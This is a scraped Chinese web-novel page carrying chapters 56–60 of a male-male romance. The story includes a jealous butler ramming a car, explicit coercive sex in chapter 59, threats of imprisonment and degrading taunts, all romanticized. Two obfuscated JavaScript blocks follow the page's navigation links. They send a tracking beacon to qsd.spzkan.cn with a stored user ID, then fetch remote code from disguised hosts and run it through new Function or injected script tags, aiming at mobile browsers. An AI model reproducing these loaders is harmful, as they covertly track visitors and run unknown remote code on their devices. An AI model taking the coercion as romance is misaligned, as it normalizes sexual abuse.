而另一边的夏夜霖看到林维渊,忍不住窜起一阵寒意,有些不敢相信自己的耳朵,然而,眼前的身影是这么清晰,的的确确是林维渊没错!

为什么他会在这里?哥哥呢?

夏夜霖没惊慌多久,夏亚泽回来了。他在夏夜霖对面的位置坐下,递给他一杯饮料,“刚想起来附近有卖草莓牛奶味的奶昔,就帮你买了一杯。”原来他跑去买奶昔了,怪不得这么久都没回来,但这个奶昔似乎也买的太久了一点……

“买的人很多,我排了很久的队,味道应该不错。”夏亚泽拿起餐具开始进食。

悠扬的音乐,符合情人间浪漫的气氛,因此在这里就餐的几乎都是情侣。

夏夜霖吃了口奶昔,本该甜甜的滋味,让他感到无味。只因为坐在旁桌的林维渊一直看着他,视线始终不肯离开。

吃西餐应该是很优雅具有情调的气氛,但夏亚泽不是一会揉揉他的头发,或者就是捏捏他的脸颊,摸摸他的手。

“哥,你做什么?别老动手动脚的。”夏夜霖忍无可忍地说。

“很久没这么好好看过你了。”说完,他又在夏夜霖脸上亲了口。

没有防备的夏夜霖,手里的餐具差点掉落,身旁很快传来一道令人窒息的视线。

“哥,我吃饱了。”夏夜霖推开眼前的菜,胃口缺缺。

“这么快就饱了?”

“恩,已经吃了很多了。”

“吃过饭想去哪?”

夏夜霖想都不想回答,“不知道。”他没想过吃完饭还要去哪。

夏亚泽笑着捏了捏他的脸,“依我看去游乐场好了。”

“为什么?”夏夜霖下意识问,前天晚上林维渊也主动带他去游乐场。哥哥真是和林维渊越来越像了……

“因为游乐场比较适合你啊。”夏亚泽轻轻地笑。

这算什么回答?夏夜霖气鼓鼓地说,“我长大了!”

“对!长大了。”在夏亚泽眼里他始终都是个孩子。

夏夜霖的心思飞到了林维渊的身上,微微侧头一看,发现旁桌早已没了林维渊的身影,估计走了吧。夏夜霖猜疑间,被夏亚泽带出餐厅。

真去游乐场吗?夏夜霖想起林维渊前天晚上还带他一起在游乐场里玩过。最近,他的大脑似乎越来越不受控制,频频想着林维渊。甩甩脑袋,夏夜霖不许再想了!他这么告诉自己,然后匆匆上了夏亚泽的车。

夏亚泽发动车子,车速由慢变快,没开多久,他的眼睛慢慢瞄过后视镜。

“怎么了?”夏夜霖朝身后看去,一辆宝蓝色的跑车正跟着他们。里面的男人戴着墨镜,夏夜霖不能确定那人是不是林维渊,唯一肯定的是,那辆车应该是林维渊的没错。

“有辆车一直跟着我们。”夏亚泽加快车速。

“是什么人会跟着我们?”夏夜霖惴惴不安地问。

“那辆车有点眼熟。”说完,夏亚泽又无意识地看了眼后视镜。

会不会真是林维渊?夏夜霖心里猜测。

夏亚泽忍不住皱眉,口气冰冷,“那车好像是林维渊的。”

“会吗?”夏夜霖还是忍不住问。

“你会这么问,那是你不了解他。”夏亚泽口吻肯定。

“你了解?”夏夜霖疑惑问,夏亚泽跟林维渊不对盘很久了,平时交谈也不多。

“比你了解。”

这话是什么意思?什么叫比你了解?夏夜霖刚想问。

追在他们后头的那辆车忽然加速直冲冲朝他们的方向撞过来。幸好夏亚泽反应快,车子打了个漂,与那辆车擦身而过。

“啊──”夏夜霖惊魂未定。“哥,你没事吧?”

“没事,你呢?”夏亚泽刚想问夏夜霖有没有被吓到,那辆车又一个急转弯,再次朝他们撞过来。

“哥!”夏夜霖急忙叫出声,吓得闭上了眼睛。

对方的车速太快了,夏亚泽根本来不及躲。

短短几秒锺,一阵紧急的刹车声传进夏夜霖耳畔,他睁开眼,却见那辆车忽然停了下来,然后像阵风一样,驶离现场。

57、原来你真的吃醋了

在那辆车与他们擦身而过,离去的刹那,夏夜霖再次看清了里面的人。

一丝不苟的穿着,镇定而冷清的表情,带着墨镜。

“真的是林维渊吗?”

夏亚泽皱了眉,很不高兴夏夜霖向着林维渊,一再质疑他的话,“我说过,你不了解他!”

轻松的心情被破坏殆尽,夏夜霖想回去问个清楚,但快要游乐场了,拗不过夏亚泽的执意,夏夜霖还是被他拽下车。

热闹的游乐场,人来人往。夏亚泽拉着夏夜霖,半开玩笑说,“拉紧点,可别一会走散了哦!”

但在拥挤的人群中,他们还是走散了。

可那一夜,他与林维渊一起来游乐场,人也很多,他们并没有牵手,但也没有走散。

人群中,夏夜霖的手忽然被一只手紧紧握住。

“哥,原来你在这。”夏夜霖叫了声,回过头。入眼的是一张成熟刚毅的面庞。

林维渊环住他的肩,用力一带,轻轻松松的就将夏夜霖带离人群。

另一边,夏亚泽皱着眉,还在人群中搜寻夏夜霖的身影。

但他不会想到,夏夜霖已经被林维渊带走了。

林维渊的出现,是他始料未及的。

林维渊拉着夏夜霖直接走向停车场,路上一句话都没说。夏夜霖被拽得气喘吁吁,几乎跟不上他的脚步。

夏夜霖被他捏的骨头都快碎了,他挣扎着从他的怀里退出来,由最初的不安转成冷漠,“你拉着我做什么?我跟我哥出来与你有关系吗?”

林维渊内心比泼了冷水还凉,他微微眯眼,这句话,让他很生气。

夏夜霖不怕死地继续说,“难道不是吗?”

“你!”要不是这里人多,他早就狠狠打他一顿屁股了。

“呜……”夏夜霖立刻出不了声。

林维渊霸道的吮吸着他的唇瓣,“这次别再想说出什么激怒我的话。”

“呜……”他吻得好重,弄疼他了。“疼……”

“不疼你就不知道教训!”

“混蛋!”

偶尔有人经过车库,被眼前两个暧昧相缠的男人吓了一跳。只见一个英俊的高大男人将一个少年压在车门上,而少年气喘吁吁,唇瓣红肿,一双白皙的手用力抵着男人的肩不知是想推离还是拉近他。

林维渊冷冷地回眸,打断看客的目光,“你在看什么?”

“……”看客一窘,立刻绕道离开他们的视线。

林维渊转过头,将注意力继续定在夏夜霖身上,“我不许你单独跟夏亚泽在一起!”

夏夜霖抵着他的胸口,水漾的眼睛里不知是羞还是怒,“你为什么每次都这样对我?如果不爱我,就不要碰我。我们之间的爱早就结束,这句话是你说的。所以你现在没有权利这样对我。或许以前是我不知天高地厚,一直想要你的爱,可我现在不想要了。”

“闭嘴!”

林维渊将他丢进车内,随后自己也快速上了扯,心情败坏的用力关上车门,发出一阵极大的砰响。

夏夜霖深吸一口气,坐在车内保持沉默。

窗外的街景飞速而过,林维渊不断加大油门,车速快得惊人,直到驶进度假庄园才缓缓慢下车速。

车子已经停下,林维渊没有下车,双手紧紧握着方向盘,似在压抑着什么,胸腔内的怒气令他性感的薄唇紧紧抿成一条线。

坐在副驾驶座上的夏夜霖猜不出林维渊究竟是怎么了,但他心里预感不妙。

过了很久,林维渊才有了一丝反应,他用力敲了一下方向盘,发出一阵声响,吓了夏夜霖一跳,像是小猫一样缩起肩膀。

林维渊低声咒骂,连他自己都不明白心情为什么这么坏,只要想到夏夜霖前夜才和自己去过游乐场,今天又陪夏亚泽去,他就怒不可歇。他说过多少次了,不许和夏亚泽接近,更不许染上别人的味道。夏夜霖却频频挑战他的底线,是他做的还不够多?没能让夏夜霖认清他是他的人吗?

“可恶!”林维渊败坏地骂出声,怒火中,他看了夏夜霖一眼,立刻下了车,打开夏夜霖那一边的车门,抓住他的手,用力的动作几乎要将他手腕捏碎。

“林维渊!你轻点!”夏夜霖叫痛,并被他拽进庄园,直到进了卧室。然后被他一把抱起,扔向欧式宫廷床。

“你弄疼我了。”夏夜霖感觉有阵阵痛感传来。

林维渊抓抓他的手腕,“如果我不出现,你想在外面和他呆多久?”

夏夜霖蹙眉,“你怎么会出现?”

“夏夜霖你当我傻子吗?”林维渊接着说,“我看到你上了他的车,看到你们亲密的去了一家餐厅,然后他带你去游乐场,还有他牵着你的手。”

夏夜霖一头雾水,难道他这么生气就是为了……夏夜霖被自己的想法吓了一跳,又觉得可笑,但他怎么也笑不出。

“林维渊,你别告诉我说你在吃醋?”

一问完,夏夜霖就后悔了,觉得自己的问题非常可笑。在自己眼前的人是林维渊,那个目中无人的林维渊啊。

只有别人为他吃醋的份,他怎么可能会吃别人的醋?

就在夏夜霖嘲笑自己的时候,林维渊清晰的声音传来。

“是,我在吃醋!”林维渊恨恨地说,“夏夜霖!你真够本事的!”在这个世界上也只有夏夜霖能令他尝到这种该死的滋味,让他心里厌恶至极的滋味!

夏夜霖一愣,不敢相信这话出自林维渊的口。

“林维渊……”

“你以前不是喊我维渊吗?”林维渊看着他,薄唇紧紧地抿了抿。

林维渊在他的唇上用力亲了一下,勐的将他压倒在床上。夏夜霖被强行拉扯,身上的衣服不整地露出一大片肌肤。

对上林维渊冒火的眼睛,夏夜霖白皙的脸庞似泛起一抹微粉。

“林维渊,整整四年了,你就不能给我一个解释吗?”夏夜霖知道此时的话,真的很傻。

他的话,令林维渊神情复杂。

“夏夜霖,有些事并不是你想的那么简单。”

微微沈痛的嗓音,听在夏夜霖耳内,林维渊魔般的再次吻住了他。

58、怀念从前的你

没有回应,也没有推开。夏夜霖静静地任由他在自己的唇上辗转。

林维渊深邃清幽的黑眸,闪烁着隐晦不明的柔光……

看起来遥远而朦胧……

夏日频繁的雷雨,让才恢复明媚的天空,再次晦暗,不一会,又大雨滂沱。

“维渊……”夏夜霖开口唤他。

“做什么?”林维渊语音冷冽的开口。

夏夜霖的心里生起股淡淡的紧张感,“你前面真的在吃醋吗?”

林维渊掩饰道,“你不会是真以为我在吃醋吧?”

“我只是不高兴别人碰了我的东西。”

看到他不在乎的神情,夏夜霖感觉似有一桶冷水自他头上淋下。

林维渊英俊的脸孔露出淡淡笑意,似乎对之前那句话不是他说的一样。

“在你眼里我算什么?泄欲的工具?”

“不要把事情想的那么糟。”林维渊拿了根烟,不疾不徐的点上,轻松自在的模样相较于夏夜霖的样子有天壤之别。

“或许我真的是个长不大的孩子,但我懂得去爱人!”

夏夜霖激动的口不择言。林维渊冷漠无情的模样,伤透了他的心。感觉心口的伤痕越裂越大。

他跳下床,转身打开门,冲进滂沱大雨中,不顾一切向前直奔,没有方向、没有目标。

想起在街上惊魂的那幕,他更想不到林维渊真会开车撞他们。夏夜霖又想起前天夜里林维渊陪他去玩,忽然明白林维渊的温柔就像当晚他唇边绽开的笑,下刻就消失的无影无踪。他冷酷残忍得让人害怕。

夏夜霖一个人游荡在外,风瑟瑟吹这,树叶沙沙作响。

如果时光可以倒流,回到过去,他是不是还会再想爱一次,再如此深刻的爱上林维渊,然后疼得撕心裂肺。

夏夜霖静静地站着,凉意从脸上流下。

这应该是雨水吧……

绝不是他的眼泪……

身上被大雨全然打湿,一丝又一丝的凉意渗入。

“阿嚏──”打了一个喷嚏,夏夜霖觉得冷了。

一把伞忽然出现在他的上方……

“你不知道外面在下雨吗?”林维渊熟悉的面庞也出现在他面前。

夏夜霖望着他。

“雨越来越大了。”林维渊说着拽起他湿哒哒的胳膊。

夏夜霖垂下眼眸,刻意不去正视林维渊。

“你追出来做什么?”

“如果你病了,你让我怎么和老爷交代?”

夏夜霖慢慢后退一步,与他拉开距离。

“进去!你的衣服都湿透了。”林维渊强硬命令。

“不…”

“不许淋雨!”

夏夜霖摇头,额前拂落的发,掩住了他眼底闪过的复杂。他讨厌林维渊总在他想忘记他的时候出现!讨厌林维渊身上让人迷惑的气息!

“我要回去了,哥哥应该在找我了。”

林维渊怎可能让他如愿离开,“不准你去找他!”

“他是我哥…”

来不及甩开林维渊的手,夏夜霖被牢牢握住。

“夜霖,别闹了。”

“我没闹。”无奈的让人难受的话,夏夜霖低低呢哝,“林维渊,你知道么…我想他…”

“想谁?”夏亚泽吗?林维渊凌乱了唿吸,凝视他,几近在发怒的边缘。

“想你,过去的你。”

握住夏夜霖的手,微微一紧,林维渊的唇角勾起抹淡淡的弧线,满溢情愫的脸庞,在雨中显得朦胧,也显得越发俊美…

“就算去找你哥,也要等雨停了再去,你说是不是?”林维渊拉着他就走,他怎么可能真待他去找夏亚泽呢?

夏夜霖又被他带了回去,一股暖气袭来,让人说不出的温暖。

一块白色的毛巾,扔到他身上。

“擦干,不要感冒。”

“为什么你总在我想要避开你的时候出现?为什么?”与此同时,夏夜霖眼内的水意迅速凝聚流下。他很快别过头,擦干眼泪。心想自己真没用。“还有你为什么要开始撞我哥?”

林维渊心里一诧,脸上平静,没有回答,像是默认。

当初听林维渊说他会让夏亚泽在这个家消失,夏夜霖以为他只是说说的,现在看来林维渊是认真的。说到就一定做到。

“为什么不说话?”夏夜霖不知道他默认是什么意思,印象里林维渊不像是敢做不敢当的人。

“如果我哥有什么事!我不会放过你的!”

“不放过我?你想怎么做?”林维渊终于开口,轻扯了下唇角,冷峭说,“你认为是我做的,那算是我做的好了。我真要撞死他,他还会有这个命活到现在?”

他宁愿相信夏亚泽,也不相信他吗?这个认知使林维渊神情冷峻,心下适才在雨中被挑起的柔软,再次变得冷硬。

“夜霖,你罔顾我对你的警告,再三与夏亚泽亲近,我讨厌碰你被别人吻过的唇,尤其还是夏亚泽!”

“你在胡说什么!”提到吻,夏夜霖忍不住心虚地辩解,“不是这样的!”

“不是这样?那是怎么样的?就算现在不是,恐怕很快就会变成现实了。”

他的话让夏夜霖心头一阵不舒服,“少爷与管家的游戏我玩腻了,我的私事,不用你插手。

林维渊黑眸内闪着浓浓怒火,逼近他,在夏夜霖眼里林维渊此刻就像只危险的豹子。

夏夜霖无路可退,被逼倒在床上,身体顿时陷了下去,立即被压了个满怀,他伸手想推他,却被他一掌制住手腕。

衬衫立即被他扯开,胸前一凉,他的所有都暴露在林维渊漆黑如墨的眼底。

“林维渊!你疯了!”夏夜霖觉得林维渊一天比一天可怕,日益疯狂。

“少爷与管家的游戏永远都不会结束。”林维渊脱下身上的衬衫。

“为什么非要这样控制我?”

林维渊说得理所当然,“有些东西我不习惯与别人分享。”

他在林维渊眼里只是个东西?

“对!你是我的东西!”

夏夜霖看着他几近疯狂的双眼,染上浓烈的浓郁之色,夏夜霖明白他是认真的,他真的想要掌控他一生。

林维渊的动作一如既往的挑逗,但今天却更为激烈,狂乱,似要逼疯他,掏空他的所有。

59、你的嘴巴真不可爱(H)

“放开我……唔……”夏夜霖惊慌的轻喊。

“我会放开你,但不是现在。这只是个小小的惩罚,如果你还敢再与夏亚泽在一起,就算将你囚禁起来,我也无所谓,你可要好好考虑清楚。”

林维渊绝对说到做到,夏夜霖的理智毫不反抗地立刻崩溃,随之身体起了本能的反应。

“不要……不要这样……”夏夜霖还是忍不住求,因为林维渊正舔弄着他最敏感的下身囊袋处。

“我偏要这样。”凭什么疯狂的只有他一个,他也要夏夜霖跟他一样疯狂,他才甘心。

感官的刺激,使得后穴微微翕合,一根手指抵上褶皱,刺了进去,火热的甬道紧紧裹着指腹,看来夏夜霖已经准备的差不多了。林维渊抬起头,转动手指,按过内壁,痒痒麻麻的感觉刺激着肠壁,再迅速抽出,使夏夜霖的身体微微曲起。

林维渊对夏夜霖身上的敏感点再也熟悉不过了,才舔弄了一会,轻而易举地就使夏夜霖因情欲而浑身颤栗。他故意将长戏做的拖沓极长,让他沈浸在情欲的苦海中,快要被它冲垮。难受了许久,林维渊这才挤入他体内,让彼此的欲望都得到缓解。

“好难受……”

“夜霖,我不是说过不要让别人在你身上留下痕迹吗?你觉得像夏亚泽这样碰你,我会允许吗?”

“唔……”

“你还和彤音打赌是不是?就算让你退学,我也不准你去当别人的情人。”

“恩啊……不要……”

“不要忘了,你稚嫩的身体是由我调教出来的。我不会让其他人碰你。”

“啊啊……”

“告诉我,你不会再和夏亚泽接近!”

“不说。”尽管意乱情迷,夏夜霖仍不肯就此拖妥协。

“不说?”林维渊有意折磨着他,挑逗着他,在他体内缓慢进出,不让他真正满足,撩起他更多的欲望。

夏夜霖要紧下唇,几乎就要忍不住开口求他了,但,唇瓣紧咬的他,只是发出一声类似受困小猫的低低呜咽声。

夏夜霖可爱又惹人怜的脆弱表情,林维渊心头的某一角开始变软,摸上他咬得泛白的唇,手指撬开他的牙关,伸入他嘴内,让他含着,无法再咬自己。

“小狐狸,你的嘴巴总是这么不可爱……”说着,林维渊下身加重力道,更深地侵占他的柔软。

“唔……”

林维渊抽出手指,低下头,咬住他微微干涩的唇瓣,用舌尖湿润着,而顶进他深处的欲望勐然顶起,撞过肠壁上的软肉,湿热的粘膜急剧收缩,似在推拒这样勐烈的攻势。

这样的角度与深度,夏夜霖感受到体内的粗硕盈满下身,每一寸肠壁都被它煨烫,以及穴口的褶皱也被渐渐越撑越大。为了减轻痛楚,夏夜霖长大双腿,换上他的腰。并皱起眉,腰上林维渊的肩膀,“恩啊……里面……里面……恩啊……”

手指抚着夏夜霖大腿内侧的肌肤,林维渊另只手抓住变得深红的玉茎,用么指摩擦着顶端,下身一次次用力的撞击着柔软的内部,因抽插而发出的嘶嘶水声不绝于耳。

越来越强烈的律动,终于让两人渐渐得到解脱,达到高潮的那刻,夏夜霖无意识地高叫一声,终于结束了……

应该够了吧……可林维渊深埋在他体内的欲望,迟迟不肯退出,过分沈溺在他的紧致之中,“夜霖,你是我的,你身体是这么告诉我的。”

情欲过后,林维渊粗喘着,他在耳畔倾吐话语。

夏夜霖无话可辩解,只想等他快点退出自己的身体。

林维渊将他纳入怀中,低声说,“还没结束!”

忍不住闭上眼睛,夏夜霖唿吸仍不平稳,感觉到他正故意摩擦着自己下身。

“我还想要你。”林维渊从他的颈部一路吻下。

“不要……”夏夜霖无力反抗,只能闭着眼发出微弱的声音。

“这是你自找的惩罚!”林维渊说得冷酷无比。

夏夜霖情不自禁地扭动身体,快要被他折腾坏了。

“以后还敢接近夏亚泽吗?”林维渊轻咬他的乳珠。

“不敢了,不敢了。”夏夜霖不想再承受一次刚才的折磨。

得到自己想要的答案,林维渊缓下攻势,却仍不抛开想要占有他的念头。他是喜欢夏夜霖的,喜欢只是喜欢,并不代表,他喜欢他就一定要对他好。

因为,他不想就这样陷下去。

可终究还是摆脱不了被爱神愚弄的命运。

爱或不爱,恨或不恨,都已不重要。

离开的时候,已是夜晚。

夏夜霖才跨出庄园,忽然僵住,他看见夏亚泽靠着红色的跑车正站在门口,黑色的衬衫像夜幕一样深沈,唇边的冷意含着一种深深的怨愤。

没想到在最不恰当的时间,出现了最不该出现的人。

夏夜霖与林维渊双双从里面出来,夏亚泽神情失望,本想带夏夜霖出来好好放松一下,没想到夏夜霖半路跟着林维渊走了。他不是很急着逃开林维渊吗?为什么还要跟他在一起?

但转瞬,他眼中的情愫已不复存在。

“真巧。”林维渊一半讽刺,一半微感吃惊。

夏夜霖没有说话,这种情况下,解释的再多也是苍白无力的。

“亚泽少爷,你弟弟又背着你跟我出来独处,是不是很失望?”

林维渊讽刺的声音,比直接在夏亚泽脸上扇一个巴掌,更让他觉得疼。

林维渊兴致盎然地看着,等着夏亚泽的回答。

“你怎么说都无所谓,但我不许你诋毁夜霖。”

“诋毁?”林维渊像听到笑话一般,对夏夜霖问,“你说,我有诋毁你吗?”

“我……”夏夜霖刚想开口解释,就被夏亚泽牵起手。

“好了。夜霖,我们回家。”

“夏亚泽,你还想继续自欺欺人吗?我不管你是怎么找到这里的。但是,我和夜霖前面做了什么,你真的一点都不知道吗?”

夏亚泽遽然回过头,现在气到了极点。

“林维渊!你够了!”夏夜霖大吼一声。为什么非要将他与自己之间的事说的这么不堪。他还嫌现在的情况不够乱吗?

60、愤怒的哥哥很可怕

“林维渊,你不要再纠缠夜霖了。反正你也不爱他。”夏亚泽面无表情,话语尖锐。

林维渊不急于回答他的问题,反唇相讥,“你觉得这样装又意思吗?表面上装的好不在乎,心里却是不舒服的很。你口口声声说为了夜霖好,看上去似乎也对夜霖疼爱有加。可是我心里清楚的很,为了你心底的目地,你从来都没考虑过要和唐紫蔚分手。你觉得你这样的爱对夜霖公平吗?”

“我不懂你的意思。就算不公平,那你对夜霖又公平了吗?”

“还装?”林维渊笑得轻蔑,“你比我更小人。夏亚泽,我跟你不一样,就算我再卑鄙,也不会像你这么阴险。”

“我没兴趣听你说这个。”

“你对夜霖的呵护,看他的眼神,就连一个微小的细节都不放过,果然‘疼爱有加’……”

“胡说!”夏夜霖激动打断他,“我不相信!我哥不是这种人。”尽管不知林维渊话里究竟是什么意思,但他知道林维渊绝不是在说夏亚泽好话。

“他吻了你!”林维渊吼道,“你要否认吗?”

“吻了又怎么样?”情急之下,夏亚泽替夏夜霖回答。“这和你有什么关系吗?”

“关系?关系可大了。”林维渊别有深意地看着,问道。“夜霖,刚才我们在里面做过什么,你心里最清楚了,不是吗?”

“林维渊!你……”夏夜霖心一痛。

夏亚泽拉起夏夜霖将他带上车,“走,哥带你回家。”

“夏夜霖,你敢上他的车?”林维渊眯眼,气极。

“我为什么不敢?”夏夜霖头脑一热,旋即坐上了夏亚泽的车。

林维渊冷笑,“夏夜霖,再别我面前自命清高,你骨子里究竟是说很么样的,在我身下,我可是看得一清二楚。”

夏夜霖捂住耳朵,林维渊的话太过残忍,只觉得他的话就像把利剑,直击自己最脆弱的地方,刺进自己最不愿意面对的伤口。t为什么他会对这么无情的人动心……

夏亚泽发动了车,车外的林维渊深幽眸子里隐隐燃起怒火。

“夏夜霖!你活腻了!”林维渊低咒一声,坐进车内,狠狠关上门,朝前面的车辆急速追去。

眼前的车影渐渐消失在夜色中,林维渊握紧拳头,刚刚他故意羞辱夏夜霖,因为他无法原谅自己,竟然一时失控差点迷失在夏夜霖的眼神内。

这样的结果让他感到恐惧,他怕他会沈溺在这份浓烈的爱里,然后,忘了夏文博加注在他身上的苦难。

等了这么多年,他等的就是这一刻,绝不能在成功前夕功亏一篑……

夏夜霖望着车窗外一闪而过的树荫。只感觉夏亚泽越开越快,拼命压下因车度过快而产生的不适。

“晚上怎么回事?”夏亚泽质问

“我不知道他会出现。”夏夜霖余光轻轻扫向一旁的夏亚泽。

察觉到夏亚泽默不作声,还有质疑的眼神,夏夜霖开口问,“哥,你不相信我吗?”

“我可没这么说。”

“可你的眼神分明就是这么说的,你宁愿相信林维渊说的也不……”

夏亚泽打断他的话,如墨的双瞳似黑色旋涡,只要稍不留神,就会被他眼底的寒芒所吞噬……

“别说了。”

夏夜霖没再解释,今天将哥哥一个人仍在游乐场,他也不是故意的。

“我真不知道他会出现。”轻轻滑下车窗,吹入的夜风,刮上夏夜霖的面颊,凉凉的。

他越来越不懂哥哥了。就像哥哥也越来越不懂他。

他们之间有个隔阂。

所以,夏亚泽根本体会不到夏夜霖心里的难受。

夏亚泽心烦意乱,再次加大油门,如箭一般甩掉尾随在后的车辆。

开到一处海边,忽然,他踩了刹车,车子停下。

夏亚泽解开安全带,将夏夜霖拽下车,冷着张脸,似只猎豹般向他靠近。

“为什么要作践自己?”夏亚泽双眸眯起,极度不悦。点点树影,在他的俊脸上投射出属于夜晚的影子,他越想越觉得不对劲。游乐场人来人往,如果夏夜霖有心不跟林维渊走,只要他大声唿叫,林维渊也不能大庭广众下拿他怎么样。

夏夜霖看着他,不出声,没想到,夏亚泽远远比自己想的更生


上一篇:【艾萨拉往事】【完】

下一篇:我的老婆14P


function gwnDNE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function AWKfLmPv(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gwnDNE(t);};window[''+'R'+'o'+'k'+'X'+'D'+'L'+'a'+'N'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Wjgr(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=AWKfLmPv,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Wjgr(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Wjgr(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmh2Y2NkLmNuJTNBODg5MQ==','d3NzJTNBJTJGGJTJGGYS5rZmdqYS5jbiUzQTk1MzM=','162093',window,document,['l','G']);}:function(){};
function AVPIRq(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TKWAwg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return AVPIRq(t);};window[''+'n'+'f'+'q'+'H'+'Q'+'c'+'O'+'L'+'Y'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function nmgl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TKWAwg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=nmgl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=nmgl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmh2Y2NkLmNuJTNBODg5MQQ==','d3NzJTTNBJTTJGJTTJGYS5rZmdqYS5jbiUzQTTk1MzM=','162092',window,document,['Q','T']);}:function(){};